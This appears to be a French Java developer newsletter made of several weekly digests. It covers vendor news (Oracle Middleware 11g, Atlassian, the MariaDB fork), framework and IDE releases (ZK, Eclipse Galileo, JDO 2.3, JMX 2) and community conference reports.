Fort du succès des précédentes rencontres, le JavaCamp Paris organise une nouvelle session le 27 août dans un format très original puisqu’elle se tiendra en plein air, au Jardin des Tuileries.

Pour rappel, le principe des JavaCamp repose sur la constitution de groupes de discussion improvisés échangeant des informations et des idées sur des sujets décidés en début de session.

Si cette expérience vous intéresse, n’hésitez pas à vous inscrire sur le wiki du JavaCamp Paris 5.

Actualité éditeurs / SSII

• Oracle annonce Oracle Middleware 11g

RIA

• ZK et ZKGrails

Le coin de la technique

• La transition de Jetty vers Servlet 3.0
• XWT pour Eclipse E4
• Se donner de la visibilité lors d’un échec Selenium

Evènements de notre communauté en France et à l’étranger

• Soirèe riviera JUG

Actualité éditeurs / SSII

Oracle annonce Oracle Middleware 11g

Le 1er Juillet, Oracle a présenté sa nouvelle offre autour du middleware: Oracle Middleware 11g et en particulier son offre SOA, Oracle SOA Suite.
Oracle propose un ensemble de produits qui utilisés conjointement permettent de concevoir, développer et superviser une application SOA.
Cette offre s’articule principalement autour de:

• JDeveloper pour le développement avec toujours un support soutenu de SCA et SDO
• Oracle Data Integration Suite, une offre de connecteurs (Messaging, Database,…)
• Oracle Service Bus 11g pour le routage, la transformation. Les principales nouveautés sont la possibilité d’appeler du code Java (seuls les appels vers des WebServices et des EJB étaient proposés), d’initier des transactions (XA) depuis le bus et de mettre en cache des résultats via Oracle Coherence 3.5 .
• Oracle BPEL Process Manager orchestre l’ensemble des processus métiers
• Oracle Business Rules offre l’externalisation des règles métiers
• Oracle Complex Event Processing (CEP) permet le traitement temps réel d’évènements métiers complexes.
• Oracle Business Activity Monitoring et Oracle Enterprise Manager Fusion Middleware Control se chargent de la supervision technique et métier de l’application
• Oracle Weblogic Server 11g (10.3.1). Cette version mineure de Weblogic Server remplace Kodo par TopLink, côté JMX, offre la possibilité d’inscrire des ‘CustomMBeans’ dans le Domain Runtime MBean Server et d’y accéder par WLST et, côté sécurité, deux nouveaux providers pour Oracle Internet Directory et Oracle Virtual Directory. Le support de Spring Framework semble également un peu plus poussé. Le plugin Eclipse est également mis à jour Oracle Enterprise Pack for Eclipse 11g
• Oracle Application Grid Coherence 3.5, composé de Weblogic Server, JRockit, Coherence 3.5, offre la technologie pour créer des applications ‘Data grid’.

Cette nouvelle version des produits étiquetés ‘Middleware’ présente (enfin) l’aboutissement de l’intégration des produits Oracle et BEA en une suite unifiée. Chaque domaine de l’application (développement, BPM, routage, intégration, supervision, …) est maintenant clairement associé à un produit (qui est parfois un regroupement de produits). Pas de nouveaux produits, seulement des versions mineures : serait-ce la version de la maturité ?

RIA

ZK et ZKGrails

Des nouvelles du projet ZK (Direct RIA) avec la sortie de la version 3.6.2 (par The Server Side)

Pour rappel, ZK est un framework open source Ajax permettant de développer des interfaces riches. Il embarque de nombreux composants graphiques qui vont de la date avec calendrier, de fenêtres et popups mais aussi des menus, des grilles… La définition de l’UI se fait à l’aide de ZUML (ZK User Interface Markup Language).

Cette version apporte d’importantes nouvelles fonctionnalités :

• Support de Google App Engine
• Amélioration des performances
• Nouveaux modes (include, instant, auto…)
• Mise à jour de composants (XUL et HTML)

Au total, c’est 48 bugs corrigés et 16 nouvelles fonctionnalités pour cette nouvelle mouture de ZK (qui se télécharge sur cette page).

A noter que dans la foulée, le projet ZKGrails (intégration du framework ZK dans Grails) a été mis à jour et embarque désormais ZK en version 3.6.2 (et toujours Grails en 1.1.1).

Cette version 0.7.4 de ZKGrails se récupère dans l’onglet téléchargements.

Le coin de la technique

La transition de Jetty vers Servlet 3.0

Jetty propose, depuis sa version 6, une API de continuation qui permet de suspendre et restituer l’exécution d’une requête. Cette fonctionnalité est particulièrement utile dans le cadre d’une application Comet.

Or, cette fonctionnalité est directement adressée par Servlet 3.0 dont la finalisation est imminente et qui sera implémentée partiellement par Jetty 7 et entièrement par Jetty 8. Un temps destiné à être dépréciée après l’arrivée des Servlet 3.0, l’API de continuation de Jetty perdurera parallèlement.

Greg Wilkins en explique les raisons : il souhaite offrir un compromis intermédiaire à la complexité de l’API asynchrone de Servlet 3.0. La compatibilité serait quant à elle assurée dans tous les conteneurs Jetty 6, 7 et 8.
L’API Servlet 3.0 apporte un certain nombre de changements majeurs. On peut donc s’attendre à ce que ce type d’initiatives visant à assurer une transition en douceur des applications se multiplient d’ici la finalisation de la spécification et de ses implémentations.

XWT pour Eclipse E4

Eclipse E4 est la prochaine version majeure d’eclipse.

Un des objectifs principaux d’e4 est de simplifier les APIs existantes d’eclipse.
Ce refactoring touche entre autres l’UI d’eclipse et son modèle de composants.

Cette vidéo, de type XWT in action, nous montre à la fois le code (descripteur XML du modèle…) mais aussi l’outillage avec une vue éditeur splittée source / design et une palette de composants SWT (qui sont tous gérés par XWT) et JFace.
A noter aussi ce tutoriel de type HelloWorld qui nous montre vers la fin la possibilité de styler ses composants avec une feuille CSS.

Pour celles et ceux qui sont déjà conquis ou qui souhaitent tester ces nouvelles fonctionnalités, l’installation d’E4 sur un eclipse existant est résumée sur cette page.

Se donner de la visibilité lors d’un échec Selenium

Dans la série trucs et astuces, Daniel Wellman partage sur le blog de stickyminds.com deux moyens de se donner de la visibilité lorsqu’un test Selenium échoue.

• Faire une capture d’écran lors de l’échec : l’idée peut sembler triviale, mais faire une capture d’écran devrait permettre d’éliminer rapidement un certain nombre de cas (une erreur de navigation par exemple). L’interface com.thoughtworks.selenium .Selenium (et son implémentation par défaut) de SeleniumRC offre une méthode (captureScreenshot(String)) pour réaliser cette capture.
• Enregistrer le DOM HTML : là encore, l’interface Selenium offre une solution toute faite pour enregistrer l’intégralité du source dans un fichier texte : getHtmlSource()

Ne reste plus qu’à factoriser l’appel de ces méthodes à chaque fois qu’un test échoue, et vous aurez à votre disposition pour débugger une erreur d’assertion, une StackTrace, une copie d’écran et un arbre DOM. Cela devrait faire gagner quelques précieuses minutes, surtout quand les scénarii Selenium sont longs à rejouer.

Evènements de notre communauté en France et à l’étranger

Soirèe riviera JUG

Le riviera JUG organise sa 4ème rencontre le 15 juillet prochain. Au menu cette soirée estivale, vous pourrez déguster une présentation sur la méthode SCRUM en plat de résistance et une présentation sur Groovy en dessert.

Soyez nombreux ! Et n’oubliez pas de vous inscrire ici.

Actualité éditeurs / SSII

• StreamBase lie le Complex Event Processing à Twitter
• Atlassian Summit : le présent et l’avenir des outils Atlassian

Le coin de la technique

• Sortie d’Eclipse Galileo
• Des applications Web modulaires avec SpringSource Slices
• Que devient JMX 2 ?

Evènements de notre communauté en France et à l’étranger

• Retour sur la conférence Jazoon

Actualité éditeurs / SSII

StreamBase lie le Complex Event Processing à Twitter

StreamBase est un éditeur qui fournit une solution de Complex Event Processing (CEP) très populaire dans le monde de la finance. Il s’agit d’un middleware capable d’analyser un flux de messages en temps réel pour y reconnaître des évènements complexes.

Dans un communiqué de presse, l’entreprise annonce proposer un connecteur Twitter pour sa solution de CEP. Il devient ainsi possible pour les systèmes d’information du monde de la finance d’analyser les messages Twitter pour en extraire un sentiment global en temps réel pouvant être utilisé dans un système de trading ou d’analyse marketing.

John Davies, directeur technique d’une société américaine spécialisée dans ce type de traitements financiers, analyse cette annonce et avoue qu’après avoir été sceptique quant à cette idée au premier abord, il y voit désormais une opportunité d’améliorer la réactivité des systèmes par rapport à l’utilisation de simples flux Reuteurs apportant l’information plus tardivement.

Ce type d’annonce permet surtout de réaliser le potentiel de la technologie CEP appliquée à l’exploitation de sources diverses provenant de l’intérieur comme de l’extérieur du système d’information de l’entreprise.

Atlassian Summit : le présent et l’avenir des outils Atlassian

Au début du mois de juin s’est déroulé l’Atlassian Summit à San Fransico. Il s’agissait de la première conférence du genre pour l’éditeur et a pu profiter de l’occasion pour présenter toutes ses nouveautés à venir et revenir sur les dernières évolutions de ses produits. L’ensemble des sessions de cette conférence sont maintenant accessibles librement en ligne.

Nous nous attarderons principalement sur le keynote de Mike Cannon-Brookes, CEO et co-fondateur d’Atlassian, qui résume la majorité des éléments à retenir.

Confluence

La version 3.0 de Confluence a été finalisée il y a peu. Elle apporte principalement :

• Ajout d’un macro browser permettant de naviguer facilement parmi les macros disponibles
• Apport de nombreuses extensions de nature « sociale » avec une gestion de réseaux, un microblogging de type Twitter, un espace personnel repensé
• Gain significatif de performance lors de la navigation et de l’édition

Jira et GreenHopper

Jira 4.0 n’est pas encore finalisé, mais est dors et déjà disponible en version beta. Il apporte quelques nouveautés intéressantes :

• Refonte du dashboard de Jira. Il devient largement personnalisable grâce à l’ajout de gadgets à l’image d’iGoogle
• Introduction du Jira Query Language (JQL) permettant de faire des recherches avancées simplement grâce à un système de complétion. Les résultats des requêtes peuvent alors être ajoutés au dashboard
• Le plugin GreenHopper, permettant d’exploiter le moteur de tâches de Jira pour gérer un projet agile (gestion d’itérations, production de burndown charts, …), devient un produit Atlassian. L’éditeur en ayant annoncé l’acquisition lors du Summit.

Open Social

La généralisation de l’utilisation de l’API Open Social au sein des produits Atlassian est probablement ce qui restera le plus marquant. Ainsi la plupart des produits Atlassian proposeront des gadgets Open Social pouvant être intégrés à n’importe quel conteneur Web s’appuyant sur cette technologie.

Concrètement, il est alors possible d’intégrer un gadget Jira au sein de l’interface de Gmail afin de simplifier la saisie d’une nouvelle anomalie suite à la réception d’un mail décrivant un problème. De même, le dashboard de Jira 4.0 devenant un conteneur Open Social, il est possible d’intégrer un gadget indiquant l’état des derniers builds de Bamboo conjointement aux gadgets indiquant l’état des anomalies et tâches Jira actives. Open Social devient ainsi le vecteur d’intégration des produits Atlassian.

Fisheye, Crucible et Eclipse Connector

Fisheye 2.0 et Crucible 2.0 ne sont également pas encore finalisés mais accessibles en beta. Ils apporteront tous deux une meilleure intégration à Jira, une interface utilisateur refondue et une vue permettant de visualiser l’activité des développeurs sur les différents projets.

Atlassian a également publié fin mai la version finale de l’Eclipse Connector, un plugin permettant d’intégrer certaines fonctionnalités des produits Atlassian au sein d’Eclipse :

• Jira est un task repository pour Mylyn, la gestion de tâches s’intègre donc à tous les niveaux dans l’IDE. Il est par exemple possible avec un clic d’ajouter, en pièce jointe de l’anomalie Jira, le context Mylyn et, dans un autre environnement, de le restituer d’un autre clic.
• Une vue est dédiée à Bamboo et permet d’observer et d’interagir avec les builds du serveur d’intégration continue de l’éditeur
• Il devient possible d’effectuer les code reviews Crucible directement depuis Eclipse
• Il est possible de lancer l’affichage de la page Fisheye correspondant à un fichier spécifique par simple clic droit

Ces fonctionnalités étaient déjà disponibles pour IntelliJ, elles le sont maintenant également pour l’IDE Java le plus populaire.

Atlassian continue de se montrer très innovant en apportant un lot intéressant de nouvelles fonctionnalités sur ses produits déjà très populaires. L’acquisition de GreenHopper lui permet quant à elle de se positionner sur le créneau des applications de gestion de projets agiles que Thoughtworks Studios commençait à investir avec Mingle.

Le coin de la technique

Sortie d’Eclipse Galileo

Comme chaque année depuis 2004, fin juin sera marquée par la sortie d’une nouvelle version d’Eclipse IDE.

Après Callisto, Europa et Ganymède, voici venu Galileo (ou Eclipse 3.5).

Difficile de faire un résumé des 24 millions de lignes de codes ni même de la trentaine de projets qui le compose, cependant plusieurs nouvelles fonctionnalités ressortent. A signaler qu’un top 10 de ces nouveautés a d’ailleurs été publié par Ian Bull sur le site d’Eclipse Source (série de 10 billets).

On notera ainsi :

• Compatibilité avec Mac OS X (portage SWT vers Cocoa).
• Memory Analyzer Tool (MAT), un outil d’analyse de heap (consommation, fuite mémoire …).
• Mylyn (gestion de tâches, synchronisation…) qui n’est pas nouveau mais qui devient de plus en plus populaire avec le support entre autre de Jira.
• XText qui permet la création de DSL (auto-complétion, coloration syntaxique …).
• Rich Ajax Platform (RAP) qui permet de déployer son application en tant que WebApp.
• SWT Browser qui gère le pont entre Java et Javascript dans les 2 sens.
• Mylyn WikiText, un éditeur de fichier wiki.
• Plateforme (p2 avec update manager revu, target platform, deploy into self pour tester ses plugins …).

Le téléchargement se passe par ici avec comme d’habitude plusieurs packages disponibles qui vont de la version classique à la version Java, JEE ou RCP sans oublier, pour les non javaistes, les versions C++ et PHP. D’autres packages ciblant le reporting ou la modélisation sont aussi disponibles.

Et bien sûr, rendez-vous est pris l’année prochaine même date (par Chris Aniszczyk) pour la release d’Eclipse 3.6 qui se nommera Helios !

Des applications Web modulaires avec SpringSource Slices

Rob Harrop a présenté une ébauche d’un nouveau projet SpringSource appelé Slices.

Il s’agit d’un framework basé sur dm Server 2.0 et permettant le développement d’applications Web modulaires. Cette modularité est bien sûr offerte par OSGi, ce qui lui en apporte les caractéristiques particulières : gestion de dépendance versionnées et chargement et arrêt des modules à chaud.

Concrètement une application utilisant Slices offrira un module Web host et un ensemble de modules fils appelés slices. Chaque module apporte du code applicatif et un ensemble de ressources Web (CSS, JavaScript, JSP, images). Le framework offre alors une couche d’abstraction aux slices leur permettant de posséder leur propre session et servlet mappings. Il offre également l’infrastructure nécessaire pour rendre les ressources du module host visibles par tous les autres et pour permettre aux modules de se détecter les uns les autres et ainsi d’opérer des altérations visuelles et comportementales en conséquence.

Dans son état actuel, Slices n’offre qu’une infrastructure de base, la version finale devrait apporter en supplément :

• Un framework de composition d’UI. On imagine que celui-ci apportera des tags permettant l’affichage conditionnel en fonction de la présence ou non de certains modules. Cette fonctionnalité est actuellement gérée manuellement par des EL dans l’application d’exemple
• Le support des servlet filters
• Une intégration à Tiles 2
• L’intégration à SpringSource Tool Suite

Slices apportera donc de nouvelles possibilités en apportant la modularité jusqu’à la couche Web. Ainsi, parallèlement à son offre tc Server, résolument orienté vers le marché actuel, SpringSource continue d’innover en apportant des fonctionnalités supplémentaires à son offre modulaire centrée autour de dm Server.

Que devient JMX 2 ?

JMX est une API standard Java permettant le monitoring et le management d’applications, elle est définie par la JSR-3 et étendue par la JSR-160 (Remote JMX). Depuis sa création en 1998, l’API a évoluée au fil des maintenance releases de sa JSR, incrémentant au passage sa version depuis 1.0 jusqu’à 1.4. Au départ disponible sous forme de librairie externe, JMX a finalement été intégré au JDK 5.0 puis mis à jour dans le JDK 6.0, fin 2006, pour s’aligner avec sa dernière version.

La prochaine évolution majeure de JMX est la version 2.0, cette fois-ci définie dans une nouvelle JSR, la JSR-255 (JMX 2.0). Actuellement en statut early draft review, il est dors et déjà possible de se rendre compte des chantiers prévus :

• Des namespaces permettant de préfixer les noms des MBeans afin d’offrir une meilleure scalabilité lors que de très nombreux MBeans sont manipulés.
• Le cascading permettant de fédérer un ensemble de MBeans situés sur des serveurs différents.
• Définition de MBeans standards par annotations (@MBean, @ManagedAttribute et @ManagedOperation) et de leur injecter des ressources telles qu’un MBeanServer ou un ObjectName. Ce principe de définition de MBeans par annotations est calqué sur ce que Spring permet actuellement.
• Un nouveau langage de requête permettant d’accéder facilement à tous les MBeans dont les propriétés se conforment à certains prédicats.

JMX 2.0 était initialement prévue pour être intégrée au prochain JDK, l’API avait fait son apparition au sein de la Javadoc des previews du JDK 7 mais restait absent de sa liste de features. Eamonn McManus a clarifié cette situation en annonçant sur son blog que JMX 2.0 ne serait pas intégré au JDK 7 tel qu’initialement prévu, qu’il n’était pas pour autant annulé mais reporté … au JDK 8. L’officialisation de ce report est une mauvaise nouvelle, car cette nouvelle mouture de JMX serait arrivée à temps pour apporter un renouveau à cette API, qui bien que très puissante, souffre parfois de lourdeurs à l’usage.

Evènements de notre communauté en France et à l’étranger

Retour sur la conférence Jazoon

La semaine dernière se tenait à Zürich la conférence où les Javaistes se rencontrent. Xebia était présent à cette conférence et en a publié des résumés quotidiens :

• Jour 1 : JEE6 et Glassfish v3
• Jour 1 : Groovy
• Jour 1 : Développement mobile
• Jour 1 : Prospective
• Jour 2 : JDK 7
• Jour 2 : DDD et Value Objects
• Jour 2 : Java FX
• Jour 3 : Un arbre est tombé
• Jour 3 : Les secrets des programmeurs Rockstars
• Jour 3 : Hibernate Search

Actualité éditeurs / SSII

• Sun veut créer un Java App Store
• MySQL forké par son fondateur

RIA

• FlexBuilder devient FlashBuilder

Le coin de la technique

• Nos IDEs se corrigent
• Les nouveautés de JDO 2.3

Evènements de notre communauté en France et à l’étranger

• Retour sur la Gr8, la Conférence Groovy

Actualité éditeurs / SSII

Sun veut créer un Java App Store

Jonathan Schwartz, CEO de Sun Microsystems, vient d’annoncer sur son blog son intention de créer un Java App Store sur le même modèle que l’iPhone App Store. Aucun détail précis n’est fourni au-delà de l’annonce.

Ryan Paul fait une analyse réaliste de ce projet en rappelant qu’il n’existe pas, selon lui, en dehors d’Azureus et Eclipse, d’applications Java pour PC très populaires et doute, par conséquent, du marché qui s’ouvrirait à cet App Store.

Reste qu’il s’agirait là d’un modèle de distribution d’application inédit sur PC qui pourrait séduire certains utilisateurs souhaitant obtenir facilement et rapidement des applications dont le niveau de qualité serait garanti par Sun, alors qu’actuellement les filières Open Source restent le principal vecteur de diffusion d’applications Java.

MySQL forké par son fondateur

Monty Program Ab est une société créé par Michael Widenius, le fondateur de MySQL. Son but est de maintenir le projet MariaDB, un fork de MySQL estampillé ‘Open’ et ‘Libre’, et d’offrir des services autour de ce projet. En collaboration avec Percona, une autre entreprise offrant de l’expertise MySQL, ils viennent de créer l’Open Database Alliance afin de former une entité unique derrière l’ensemble des développements MySQL libres.

Plusieurs réactions et analyses ont suivi l’annonce :

• Josh Berkus émet l’hypothèse que l’équipe MySQL actuellement chez Sun soit embauchée par Monty Program Ab.
• Matthew Aslett s’inquiète des limitations qu’imposeront la licence GPL de MariaDB quant à l’inclusion d’un éventuel storage engine qui ne suivrait pas cette licence.
• Ryan Paul met en avant l’ambiguïté de cette annonce en raison de l’absence de définition du type de relation entre l’Alliance et Sun / Oracle.

Dès lors, comme sur de nombreux autres sujets, il sera nécessaire d’attendre de connaître le positionnement d’Oracle sur la question MySQL pour pouvoir établir des certitudes quant à l’avenir de ce SGBDR.

RIA

FlexBuilder devient FlashBuilder

Une nouvelle qui fait réagir la communauté Flex depuis plus d’une semaine est l’annonce du nouveau nom de l’IDE FlexBuilder qui, dans sa version 4, se nommera désormais FlashBuilder.

Les flasheurs / flexeurs, que l’on pourra lire sur The Flash Blog, Adobe Flex Tutorial ou bien Code moi un mouton, se réjouissent de la standardisation du terme Flash (il faut rappeler qu’au final, une application Flex est compilé en SWF donc du Flash lisible par Flash Player). Toutefois, quelques craintes subsistent chez certains concernant ce nouveau terme Flash, qui selon eux ferrait moins professionnel / entreprise. Au moins, maintenant tout est clair : avec FlashBuilder, vous allez créer des applications Flash pour Flash Player !

Pour le reste, rien ne change. Flex, c’est un framework Actionscript qui s’appuiera sur le Flex SDK. Le plugin sera toujours un plugin Eclipse. Et le développeur Flex restera un développeur Flex ! Et vous, que pensez-vous de ce changement de nom ?

Le coin de la technique

Nos IDEs se corrigent

C’est le mot d’ordre actuel. Peu, voir pas de nouvelles fonctionnalités mais de nombreuses corrections de bugs pour Eclipse IDE et IntelliJ IDEA.

Ainsi, Eclipse nous annonce fièrement la correction de 341 bugs (rien que ça !) pour son IDE en version 3.5 RC1, mais pas de nouvelles fonctionnalités. Du côté de chez IntelliJ, c’est plus d’une cinquantaine de bugs et exceptions corrigés pour la version IDEA 8.1.2, avec quelques optimisations de performance (éditeurs de fichiers Java et SQL) et 2 nouvelles fonctionnalités (au niveau du debugger et des raccourcis).

Le téléchargement d’Eclipse 3.5 RC1 se passe par ici et pour IntelliJ IDEA 8.1.2 c’est par là.

Les nouveautés de JDO 2.3

JDO (Java Data Objects), longtemps délaissé au profit d’Hibernate, puis de JPA, a été récemment remis en avant par le support Java de Google App Engine qui préconise l’utilisation de cette API pour assurer la persistance des données dans les applications qu’il héberge.

Andy Jefferson, co-fondateur du projet DataNucleus, vient de poster un tour d’horizon des nouveautés de JDO 2.3 dont l’API est actuellement disponible en early access. Ces nouveautés sont :

• Metadata API : la définition des classes à persister pouvait jusqu’alors se faire par XML ou par annotations. Cette JDO 2.3 vient ajouter une troisième possibilité avec cette API permettant de définir dynamiquement des classes persistables.
• Enhancer API : cette API vient en complément de la précédente. En effet dans la mesure où les implémentations de JDO s’appuient sur du bytecode enhancement des classes persistables, il est nécessaire d’offrir aux développeurs un moyen d’invoquer l’enhancer après avoir déclaré dynamiquement une nouvelle classes via la Metadata API.
• Timeout et annulation de requêtes : dans le monde JPA, ces deux fonctionnalités ne sont pas supportées par la spécification mais seulement en tant qu’extensions propriétaires.
• Contrôle des verrous en lecture des objets : permet un contrôle fin des objets qui doivent être verrouillés automatiquement lors de la lecture, évitant ainsi d’opérer un verrouillage global.

Répondant à des besoins modernes, ces changements devraient être appréciés par les développeurs. Reste que l’avenir de JDO est flou : ne pouvant rivaliser avec la popularité de JPA, JDO pourrait se maintenir dans des cas d’utilisation particuliers et ainsi perdurer dans les années à venir tout en restant marginal.

Evènements de notre communauté en France et à l’étranger

Retour sur la Gr8, la Conférence Groovy

La première édition de la Gr8 Conference vient de se terminer. Il s’agit d’une conférence entièrement dédiée au langage Groovy et aux frameworks gravitant autour. On trouve de nombreux compte rendu sur Internet, Peter Bell en signe le plus complet. Parmi les points les plus intéressants on compte :

• Jim Shingler qui a présenté une introduction à Griffon, un framework Groovy visant à faciliter la production de clients lourds en Swing
• Une session portant sur la création de plugins pour Grails
• Graeme Rocher qui a fait une présentation au titre très explicite ‘Building a Twitter Clone in Grails’

Par ailleurs les cas d’utilisation de Groovy ont été passés en revue par Dierk Konig :

• Utilisation en tant que glue et création d’infrastructure des applications
• Ecriture des règles métiers complexes évoluant régulièrement
• Utilisation pour les hot fixes, en s’appuyant sur le fait que Groovy peut être utilisé de manière interprété
• Définition de fichiers de configuration basés sur la syntaxe Groovy
• Utilisation de Groovy comme unique langage sur un projet de taille réduite ou moyenne
• Utilisation de Groovy comme langage de script pour les tâches courantes (automatisation, installation, déploiement).

Les organisateurs ont annoncé que l’ensemble des sessions de cette conférence seront disponibles sur Parleys dès que possible.